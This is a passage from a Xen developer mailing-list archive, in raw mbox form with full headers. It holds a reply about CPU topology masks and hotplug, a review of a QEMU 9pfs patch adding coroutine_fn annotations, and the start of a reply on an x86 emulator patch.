 <OS9P286MB7222F9243B20CFE5FE145A9182C32@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260714104445.919830-1-taka@valinux.co.jp>
 <20260714104445.919830-2-taka@valinux.co.jp>
 <f2f3572c-6a77-4f65-bf8e-82298d145a6e@suse.com>
 <OS9P286MB722280A3A0E6E36B8194501B82C42@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
In-Reply-To:
 <OS9P286MB722280A3A0E6E36B8194501B82C42@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|TYTP286MB3628:EE_
x-ms-office365-filtering-correlation-id: 9301d547-48c7-4a2d-f0aa-08dee6670104
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|1800799024|7416014|376014|23010399003|366016|18002099003|22082099003|38070700021|56012099006|4143699003|10067099003;
x-microsoft-antispam-message-info:
 GwbHJPt3kwHsEzLe2ut43ZuWMQ0M7CdlknUmDrAWnisIT0w1qOKsotm8pUEMcqZXytkCB4fJFpGwe1LPf9J3ZiCZEXrm2exfhq8qL/MSrUkPFg2dLiRUIZVm84DIdXEARMnHZcuHoSKgLV+woc+orFjNOLQ8vy9PKgaOZSyW5PEkdlGeE0SKgdjZBCNdkKWK6b4np+VAJmSJYZJKQEF8TmOdXAfmklTuWM/o+qGpTLcuWXe0Z45Mw/9f1PQFnLq8YDIe1YxT1SNiU/3/juRhnxxNAcujvRD6DcnmGSanlKPJTvCcy/vq826d8/6sVCUSGAX/JiiJeNW6DR6jq0TLF5QANAmo5QtR8RLeWP0M4vA/gW155qZ5Cgi56TTy9xS4nsWpzyJswy2Rtsw6ujYOJVtsiEsiFLqxS9v+rWgpaJVYq/RafMq6NRH8misfexAkUJ6GsTSchQnErB+BbahnkG4tVu3lLgUekWTJrxvDhWZl2FAb7QiFojAXdYmul9mDiu/j2we7xb/+05g4k/bWd3DLW6l1nGHO2y8NWyi+UOZcrRwb8vpVRzyuCyA5qAyxA4qqJcGNqNgcY4ibTCiak3KSCF8Jv4Wp8d++MjCtmKgL+3300EEuf13zUk/Q930ozCd51nt3OuZe9cD45cqJbuHdfPL0YMez/ieKoxni5HkgJBvhSgFo7kaMIANm+g+Ha1w3rUFvFSD9GU9d+Aq7laekaeKhapJ+EQRPChxdZ4A=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(7416014)(376014)(23010399003)(366016)(18002099003)(22082099003)(38070700021)(56012099006)(4143699003)(10067099003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?d2k2dXU1Smo3SmVkbWRVZTBadmdva2N4MHN2Z1dsVkc1ajh5SWhvcko3MVJZ?=
 =?utf-8?B?cFNkbEF6MzEvWHlUTjFOWSttWU9qSHNZVjZmUG9pbVZxQU02Sjk3aEluL1cr?=
 =?utf-8?B?Q00wcmVDSEJRUkw1VFkya0R1U1IrU0RDaHVkTzNrbWhrN29FK0hPcjhzc2JY?=
 =?utf-8?B?L0ZTZHlCZDJBK3dBcHIrOGVXRi9DVjRWa2ZjNkd4Q0MwSVVDVzdFSnQrY3Mz?=
 =?utf-8?B?cG55Tzh5YmU1RmR3Y3Q0bHc3V0VZZWJCMEN1ZlBPNzVFN1YzOHY4T2RCd2Q2?=
 =?utf-8?B?dGZ2ek94bWFBTDJLY0FXNXloRWkxcW56alRUMGdjR0NmTUJzZWlLdkU5OXE3?=
 =?utf-8?B?QnBqemZiY1ZZS3JNcVJQeXBxUk80NFc1Z3JOVE0rTDJKRHgyNXE0N21yVDJj?=
 =?utf-8?B?dUZkNmNINkRxaGtKNlo1ZlA0ajBJUnJPQnU0NnVCYzRSeDE1Ylc1cmZiNkFv?=
 =?utf-8?B?aCsveFNtYVU3UVRiZm5uVGFJNW9ocFFnNXoySVNUTTZIdkI1a3loU05Mazd5?=
 =?utf-8?B?LytOWmMySlZhZWMxaXJBY08rek9RdWI0V0RPbk5YZUJmRkR1S2NqZVNQbzU5?=
 =?utf-8?B?NFlMdVZXNk56UkZTTEpRWmhuYTIrN3JacVhpdzZCaXE0OXUrRWlqcW5sTDdx?=
 =?utf-8?B?cWJwa1QrbW0vQUJmckd5aEp0U1BHM3JBWld5d2tWZG5wZjRBTU9jbVJpbGJ1?=
 =?utf-8?B?MH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1MEhlbFZPYkY0MWtSR3I3eGtDdlZLaFc3cmc3VW9j?=
 =?utf-8?B?MUJpN3dqUk5ibGFuSi91RWRTa2ZWQTVPWEVWWGxVdEZjQXpPWTVnSGJqcmcv?=
 =?utf-8?B?NThxcWYvRUV1SkNPdDExUlJTeXBpS3A1bEVEYWNCTGxCZ1NjZlRHNHN0Zk5P?=
 =?utf-8?B?bmVyVDdFeHFVempqRDVabXlNVEtXSi9kbzVFU0VjU1M4bGFBMXVUQ092ZHpK?=
 =?utf-8?B?bE9rODJwYmZ3MjA2cTVya0RLNVY2alk1R0t0UHUvMWZQa0JyUFNVUXBDbHI0?=
 =?utf-8?B?NE0zWkh3UmFtVjBDckhFK21BeFRrMVFESWowRG0yN0hReUpFMGhpZzNlclVO?=
 =?utf-8?B?VnVuWEp3VUFzeUFsZGd4dm0vQ3pWOG01bnB2a3pnYU1kTWhVTEQ1SmNkbHBZ?=
 =?utf-8?B?YW9LTHRJbE5mNGhobEFFM0RNQnpINmd1T1drc2MyaGJvTjI4Yit0MmV4MFgr?=
 =?utf-8?B?c1c1UDh6WUxYN2FiNXdWbXYwSW5aeXVpZDR4eWkxUllxZVZHMk1UdVBiMXVJ?=
 =?utf-8?B?Q2hMdTkxVVBGWTFoWWJ1N1BQM0hxblM4QTlOc1h1eklFd2xyRTNvMEdFRDJD?=
 =?utf-8?B?TzlKSzZ6aVkrV0V1SEt3UWdJU2VSWUhON0RHeDY0UCtSOVJRbUZMWHRxRlJT?=
 =?utf-8?B?N1YzejBPM2xBdS82S3RNQS8rWi90VGg3ZVR3cEtoSEorYW04WExkMUJnc2lr?=
 =?utf-8?Q?fHfwg+PctPPceNbBxZ?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: 9301d547-48c7-4a2d-f0aa-08dee6670104
X-MS-Exchange-CrossTenant-originalarrivaltime: 20 Jul 2026 13:58:40.5762
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: xEdoP+v06oTranLKO+QYyaCc0q3AuYNmogW4PLw8tAuz1JoP3lcy2mgzq2RN6U4zM7F16yH+0sxFwO0IWIopkw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYTP286MB3628
X-purgate-ID: tlsNG-d62444/1784555926-1DC79757-9AB5C4EF/0/0
X-purgate-type: clean
X-purgate-size: 2160

SGVsbG8sDQoNCkkgc3VzcGVjdCB0aGF0IHdoZW4gQ1BVIGhvdHBsdWcgaXMgaW1wbGVtZW50ZWQs
IGNwdV90b3BvbG9neVtjcHVdLmNvcmVfc2libGluZw0KQW5kIHBlcl9jcHUoY3B1X2NvcmVfbWFz
aywgY3B1KSB3aWxsIGFjdHVhbGx5IGRpdmVyZ2UuDQpjcHVfdG9wb2xvZ3lbY3B1XS5jb3JlX3Np
Ymxpbmcgd2lsbCBpbmNsdWRlIHJlc2VydmVkIENQVXMgdGhhdCBtYXkgYmUgaG90cGx1Z2dlZA0K
aW4gdGhlIGZ1dHVyZSwgd2hlcmVhcyBwZXJfY3B1KGNwdV9zaWJsaW5nX21hc2ssIGNwdSkgd2ls
bCBvbmx5IHRyYWNrIGN1cnJlbnRseQ0KYWN0aXZlIENQVXMuDQoNCj4gPiA+ICsvKiBTUERYLUxp
Y2Vuc2UtSWRlbnRpZmllcjogR1BMLTIuMC1vbmx5ICovDQo+ID4gPiArDQo+ID4gPiArI2lmbmRl
ZiBYRU5fQ1BVX1RPUE9MT0dZX0gNCj4gPiA+ICsjZGVmaW5lIFhFTl9DUFVfVE9QT0xPR1lfSA0K
PiA+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WJsaW5nIGFuZCBjb3Jl
X3NpYmxpbmcgZnJvbSBzdHJ1Y3QgY3B1X3RvcG9sb2d5LiBXZSBpbnRlbmQgdG8gdXNlDQo+IGNw
dV90b3BvbG9neSB0byBob2xkIGluZm9ybWF0aW9uIGZvciBDUFVzIHRoYXQgaGF2ZW4ndCBiZWVu
IGhvdHBsdWdnZWQgeWV0Lg0KPiANCj4gV2hpbGUgaXQgbWlnaHQgbWFrZSBtb3JlIHNlbnNlIHRv
IHJlbW92ZSB0aGUgcGVyLUNQVSBtYXNrcyBpbnN0ZWFkLA0KPiBJIGhlc2l0YXRlZCB0byBkbyBz
byBiZWNhdXNlIHRoZSBpbXBhY3Qgb24geDg2IFhlbiB3b3VsZCBiZSBxdWl0ZSBsYXJnZS4NCj4g
DQo+IFRoYW5rIHlvdSwNCj4gSGlyb2thenUgVGFrYWhhc2hpLg0K


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 14:03:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 14:03:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366582.1616514 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wloaP-0002Jp-BI; Mon, 20 Jul 2026 14:03:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366582.1616514; Mon, 20 Jul 2026 14:03:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wloaP-0002Ji-8b; Mon, 20 Jul 2026 14:03:13 +0000
Received: by outflank-mailman (input) for mailman id 1366582;
 Mon, 20 Jul 2026 14:03:11 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <qemu_oss@crudebyte.com>) id 1wloaN-0002Ja-N8
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 14:03:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wloaN-009huI-3s
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:03:11 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <qemu_oss@crudebyte.com>)
 id 6a5e2a88-bab6-0a2a0a5309dd-0a2a4501a332-46
 for <multiple-recipients>; Mon, 20 Jul 2026 16:03:10 +0200
Received: from [5.189.157.229] (helo=kylie.crudebyte.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <qemu_oss@crudebyte.com>)
 id 6a5e2a9e-5984-0a2a45010019-05bd9de5a917-3
 for <multiple-recipients>; Mon, 20 Jul 2026 16:03:10 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=kylie header.d=crudebyte.com header.i="@crudebyte.com" header.h="Content-Type:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=crudebyte.com; s=kylie; h=Content-Type:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From:
	Content-ID:Content-Description;
	bh=deAIsGyaqzcj2x0SnSBtTCwTRpVH+o12cTxZxyGW6R8=; b=QAlDcnSvqzW2fsUfyEmW7V1BzL
	4b/4ygTcLe/Agh3ctzr4ClJBza+Yuo1Apd62xS7aRAT/vDM5sUp4Zzyxu/IaaE/YrIQCNXWCbTBIY
	6M5Psongq1IlSunPbN0v3zQ/yET3KSrnSDwURXmMwj4wXMue/C9CZwCj9f+N1Aj+v5W905HJ4GK9r
	w8hDHkFVTOFS0e3hw0gbGO5yEagQ8hwbeCU6C5cnRqCyIBC7TVE7iuffOnTEEykCgDwtWKAS77Z1R
	Q+fIQ1th70xhlAozDlr24L14gFYsvki4r4hC4Usb3wmzOOKFWkwn/n8RVP26u11Kh/RmthAkBVSnj
	+2kkfrpeFC+QFypRfXvtX2Z3a7KTe1nlxMSNd4DoIiBj6KAd0LSnr3iSIfl3SxaV/BXd7961QQkbH
	4Z4IjKyDGbpvx9gEL6A/J0xVbiRGhaTebs5JQPEYqqESX9WAIv46ISGEbVZOBUPQgasRsbzKRlxF0
	arMeA8/pxMPhKLR8fct4i/8nFNdx7u+39jYLKPawUPGCrX6iZUkamPbjU/M3+95Q6jr2FoYO3W0rj
	x2a7KI4GWEpLYOkleUHkBKnMqs2y5SX9dWIgk1hwsHriulHeRbi+wcGVE5e85vn6K5TrKFB1OH1eN
	zfWpl9H85+ZoNfe5UDenB6ZfD52Uye1TrmZlmfZyk=;
From: Christian Schoenebeck <qemu_oss@crudebyte.com>
To: qemu-devel@nongnu.org,
 =?UTF-8?B?TWFyYy1BbmRyw6k=?= Lureau <marcandre.lureau@redhat.com>
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>,
 Fabiano Rosas <farosas@suse.de>,
 Daniel =?UTF-8?B?UC4gQmVycmFuZ8Op?= <berrange@redhat.com>,
 John Snow <jsnow@redhat.com>,
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>,
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>,
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>,
 Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony@xenproject.org>,
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
Subject:
 Re: [PATCH 7/8] hw/9pfs: annotate V9fsTransport callbacks as coroutine_fn
Date: Mon, 20 Jul 2026 16:02:47 +0200
Message-ID: <7970030.EvYhyI6sBW@weasel>
In-Reply-To: <20260720-co-v1-7-fabb4db3c204@redhat.com>
References:
 <20260720-co-v1-0-fabb4db3c204@redhat.com>
 <20260720-co-v1-7-fabb4db3c204@redhat.com>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"
X-purgate-ID: tlsNG-d62444/1784556190-BD146757-80610A7F/0/0
X-purgate-type: clean
X-purgate-size: 3580

On Monday, 20 July 2026 09:55:36 CEST Marc-Andr=C3=A9 Lureau wrote:
> All V9fsTransport callbacks are invoked exclusively from coroutine
> context (the v9fs_* PDU handlers). Annotate the function pointer
> types in V9fsTransport and all implementations (virtio and xen
> backends), as well as intermediate callers in 9p.c (pdu_marshal,
> pdu_unmarshal, v9fs_init_qiov_from_pdu, etc.).
>=20
> Signed-off-by: Marc-Andr=C3=A9 Lureau <marcandre.lureau@redhat.com>
> ---
>  hw/9pfs/9p.h               | 26 +++++++++++++++-----------
>  hw/9pfs/9p.c               | 31 +++++++++++++++++++------------
>  hw/9pfs/virtio-9p-device.c | 24 +++++++++++++-----------
>  hw/9pfs/xen-9p-backend.c   | 34 +++++++++++++++++-----------------
>  4 files changed, 64 insertions(+), 51 deletions(-)
>=20
> diff --git a/hw/9pfs/9p.h b/hw/9pfs/9p.h
> index 1a309664f6e..0e52ffbdf38 100644
> --- a/hw/9pfs/9p.h
> +++ b/hw/9pfs/9p.h
> @@ -472,17 +472,21 @@ void pdu_submit(V9fsPDU *pdu, P9MsgHeader *hdr);
>  void v9fs_reset(V9fsState *s);
>=20
>=20
>  struct V9fsTransport {
> -    ssize_t     (*pdu_vmarshal)(V9fsPDU *pdu, size_t offset, const char =
*fmt,
> -                                va_list ap);
> -    ssize_t     (*pdu_vunmarshal)(V9fsPDU *pdu, size_t offset, const cha=
r *fmt,
> -                                  va_list ap);
> -    void        (*init_in_iov_from_pdu)(V9fsPDU *pdu, struct iovec **pio=
v,
> -                                        unsigned int *pniov, size_t size=
);
> -    void        (*init_out_iov_from_pdu)(V9fsPDU *pdu, struct iovec **pi=
ov,
> -                                         unsigned int *pniov, size_t siz=
e);
> -    void        (*push_and_notify)(V9fsPDU *pdu);
> -    size_t      (*msize_limit)(V9fsState *s);
> -    size_t      (*response_buffer_size)(V9fsPDU *pdu);
> +    ssize_t     coroutine_fn (*pdu_vmarshal)(V9fsPDU *pdu, size_t offset,
> +                                             const char *fmt, va_list ap=
);
> +    ssize_t     coroutine_fn (*pdu_vunmarshal)(V9fsPDU *pdu, size_t offs=
et,
> +                                               const char *fmt, va_list =
ap);
> +    void        coroutine_fn (*init_in_iov_from_pdu)(V9fsPDU *pdu,
> +                                                     struct iovec **piov,
> +                                                     unsigned int *pniov,
> +                                                     size_t size);
> +    void        coroutine_fn (*init_out_iov_from_pdu)(V9fsPDU *pdu,
> +                                                      struct iovec **pio=
v,
> +                                                      unsigned int *pnio=
v,
> +                                                      size_t size);
> +    void        coroutine_fn (*push_and_notify)(V9fsPDU *pdu);
> +    size_t      coroutine_fn (*msize_limit)(V9fsState *s);
> +    size_t      coroutine_fn (*response_buffer_size)(V9fsPDU *pdu);
>  };

I wonder whether that could be made more diff/blame-friendly. Especially as
this currently only serves documentation purposes.

They way you are positioning coroutine_fn it usually resolves to an attribu=
te
attached to the function's return type, not to the function itself, even
though clang/gcc handling it flexible. For attaching an attribute to the
function itself the attribute should either be attached before the function
declaration or after the function declaration. In both cases you could then
add it to its own, separate line, avoiding a lot of noise.

/Christian





From xen-devel-bounces@lists.xenproject.org Mon Jul 20 14:07:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 14:07:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366590.1616524 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlodz-0002pH-QK; Mon, 20 Jul 2026 14:06:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366590.1616524; Mon, 20 Jul 2026 14:06:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlodz-0002pA-Mf; Mon, 20 Jul 2026 14:06:55 +0000
Received: by outflank-mailman (input) for mailman id 1366590;
 Mon, 20 Jul 2026 14:06:53 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wlodx-0002p4-LJ
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 14:06:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlodw-00G4nl-Li
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:06:52 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a5e2b7c-bab6-0a2a0a5309dd-0a2a450acc86-0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:06:52 +0200
Received: from [52.101.193.54]
 (helo=CH1PR05CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a5e2b7b-f2d2-0a2a450a0019-3465c1363db3-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:06:52 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by DS1PR03MB7847.namprd03.prod.outlook.com (2603:10b6:8:21d::15) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.18; Mon, 20 Jul
 2026 14:06:48 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0223.017; Mon, 20 Jul 2026
 14:06:47 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=UjBheRBQWRr2ENxGXHKVkHQGxZhwSH/rru9r5nlL0hM6c4sH24cKebgE6y8CPj4vcB8ksK1UWmbpbPaEP0SxNxstioKRO7a8PxkFI2+K6ZJuuJpNtozho3umQv0JxHCrMN9ErO0028p6YvSRWs3otVjROJCH5eHOjPLgsF12hkXVM9p5Q8aWAgiqxUsuU2gRiG9c2SriVGcvl25WgT5SFxf1T7dvJ6j5cCHQKynJjN2Y45446rmGjgaPmikkSPRTdXxHzXg+jDxnDiGytsZ5Okz/VnodFi4QMsIhB/WORz1nf9Ep7RMNs4uaGqq583tSfeOKIEcOgHmY2YFmpUGM6g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Tp6L4tmt1iid4QiCvAQWZ2p+HUgl846YV/8U1OK0ko0=;
 b=EZgsnbriYvqYb8tNw8JPYNxJYYI/2fglxDTei52namg/9DSZSNgzG3XSLjWax8AOR0gu7NqX980Q9fAgHCuR0IpftH8FbT1xqiXjDLxmvc/mi0v2TELGLimD0VOqANnwkJeU/aUbblqe9HtDqiRLsRkaqwyYsZoqoaDXh7Mw/Xf6b+/6mfBY5Fxn9NjvsUXmt+/I37oXtrOOMYW8dpowHNSB/ym3DIb3QZyVotEMYHuvMSibMh35Hox4cdG+HycjC3mu4c/M5YDZAEydh5nBY70u0eTpm00wllnBbvqeah4/nQOy9VlfBQ10diBBXB//r9oRMZ7wA8cNI1YUNTpK1A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Tp6L4tmt1iid4QiCvAQWZ2p+HUgl846YV/8U1OK0ko0=;
 b=DO0bP95ztzIeMcsFCsA+6tkORfE0jgeXf3HiM45GFZpW14F4d4ZBKuvKKRl+W4mgOHb/sp+jtPZqE5aC7IPAeSrybXoifWO9s8zqQewcwWYuELUze8lWv03b62QzmRMgTF5Kr6RnF7oNEskSsZ5Ql1kjiAh/Q4OJsZCFuDjBogQ=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <80591621-8af0-4f80-a187-e6cfbc19ca0d@citrix.com>
Date: Mon, 20 Jul 2026 15:06:44 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH] x86emul: drop dead conditional from decode
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <fb374bfb-73a5-47dc-8227-c0c172620f19@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25X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OXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <fb374bfb-73a5-47dc-8227-c0c172620f19@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P123CA0131.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:193::10) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|DS1PR03MB7847:EE_
X-MS-Office365-Filtering-Correlation-Id: ab3f0959-1c56-4d78-a1f9-08dee6682326
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|376014|1800799024|366016|11063799006|56012099006|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
